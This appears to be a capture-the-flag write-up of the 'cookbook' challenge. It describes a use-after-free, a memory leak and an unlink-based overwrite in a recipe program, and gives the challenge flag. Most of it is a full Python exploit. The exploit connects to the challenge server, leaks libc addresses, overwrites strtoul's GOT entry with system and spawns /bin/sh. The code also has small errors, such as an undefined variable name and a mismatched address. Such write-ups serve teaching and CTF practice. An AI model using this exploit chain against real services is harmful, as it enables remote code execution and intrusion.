There exists a Use-After-Free bug when discarding a recipe in sub_8049092() because it doesn't assign 0x804d0a0 to NULL after freeing.


Memory Leak exists where it prints recipe. Let's call the address in 0x804d0a0 "ptr", and when a recipe is printed, the address to which ptr+116 is pointing is leaked.

cndq => Allocate and Free 0x804d0a0 (generates dangling ptr)

ang, "A"x116 + address to leak, => new ingredient on ptr

cp => Leak


Memory Overwrite occurs when freeing a node in linked list. Let's take a look.

     node1                       node2                       node3
+------------+              +------------+              +------------+
| ingredient |       |----->| ingredient |       |----->| ingredient |
|------------|       |      |------------|       |      |------------|
|    next    |-------|      |    next    |-------|      |    next    |
+------------+              +------------+              +------------+

In this situation, freeing node2 will assign node2->next to node1->next.

We can overwrite ptr+0 and ptr+4 the same way we leaked memory, each of which is pointing to a linked list respectively.

So if we overwrite ptr+4 to 0x804a098, it will look like this:

     node1 (0x804d098)           node2 (ptr1)        node3 (0x804d034 = strtoul-4)
+------------+              +---------------------+              +------------+
| ingredient |       |----->| ingredient (calory) |       |----->| ingredient |
|------------|       |      |---------------------|       |      |------------|
|    next    |-------|      |    next (price)     |-------|      |    next    |
+------------+              +---------------------+              +------------+

Because node2 is an ingredient object, we can manipulate node2 by setting a calory and price.

Deleting node2 will make node1's next point to 0x804d034. There is a reason for this specific address 0x804d034. After freeing node2, the function iterates all the nodes in linked list to count the nodes, and node3->next(strtoul@libc)->next is NULL. I tried several other addresses but it all failed, accessing every next address until next is NULL.

     node3 (0x804d034)               node4 (strtoul)
+--------------------+              +------------+
|     ingredient     |       |----->| ingredient |
|--------------------|       |      |------------|
|    next (strtoul)  |-------|      |   next(0)  |
+--------------------+              +------------+

Freeing node2 will make node1->next point to 0x804d034, then we can overwrite strtoul's GOT to system by setting ingredien'ts price. After that, there's a part where user input goes into strtoul at adding ingredients in recipe.


Final exploit code is as follows. (haven't got the time to make code clean..)

# -*- coding: utf-8 -*-
# BKPCTF{hey_my_grill_doesnt_work_here}
from socket import *
from struct import pack, unpack
from time import sleep
import re
import yum3

p = lambda x: pack("<I", x)
up = lambda x: unpack("<I", x)[0]

s = socket(2,1)
s.connect(('cookbook.bostonkey.party', 5000))

yum3.recv_until(s, "what's your name?\n")
s.send("asdf\n")
print 'asdf'
yum3.recv_until(s, "[q]uit\n")

##### [1] LEAK puts & calc system
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[q]uit\n")

s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(0x804d030) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")

puts_addr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
system_addr = puts_addr - 161776
print 'system:', hex(system_addr)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [2] LEAK 0x804d0a0
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(0x0804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data

h804d0a0 = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'h804d0a0:',hex(h804d0a0)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [3] add recipe: water, corn, tomato
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("corn\n")
print 'corn'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("tomato\n")
print 'tomato'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [4] LEAK 0x804d0a0 => to put in second node for freeing
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(h804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data

original_ptr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'original_ptr:',hex(original_ptr)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [5] make a fake second node
# [cur_ingredient (need to be pointing a real one to prevent dying in free()) | next (=strtoul-4) ]
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("p\n")
s.send("134533172\n")
print 'p %08x' % 134533172 # 0x804d038-4 => strtoul-4
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [6] overwrite first node to 0x804d098
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("g\n")
print 'g'
yum3.recv_until(s, "how long is the name of your cookbook? (hex because you're both a chef and a hacker!) : ")

s.send("f\n")
s.send(p(original)+p(0x0804d098)+'\x00\n')
print 'f original/0x0804d098'
yum3.recv_until(s, "[q]uit\n")

##### [7] free second node => [0x804d098+4] = 0x804d034
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("r\n")
print 'r'
yum3.recv_until(s, "which ingredient to remove? ")

s.send("corn\x00\n")
print 'corn'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("p\n")
s.send(str(system_addr-0x100000000)+"\n") # to fit %d
print 'p %08x' % system_addr
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [8] trigger
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("/bin/sh\n")
print '/bin/sh'

yum3.shell(s)

'''
cndq
ang
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
q
cp

c
a"water"
a"corn"
a"tomato"
q

an => 0x0804d098+4에 뭔가 있음
s 0x0804f6f0 = 0x804f2b0에 들어있는 original node값 # 134543088 # for freeing
p &strtoul@got 0x804d038-4 = 134533172
q
cdq
g 20
0x804f2b0: 0x0804f6c0 0x0804f2b8 ...
set *0x804f2b0= 원래 0x804f2b0에 들어있는 값
set *0x804f2b4= 0x0804d098

c
r"corn"
a
p  &system
q

c
a water
/bin/sh
'''



+ Recent posts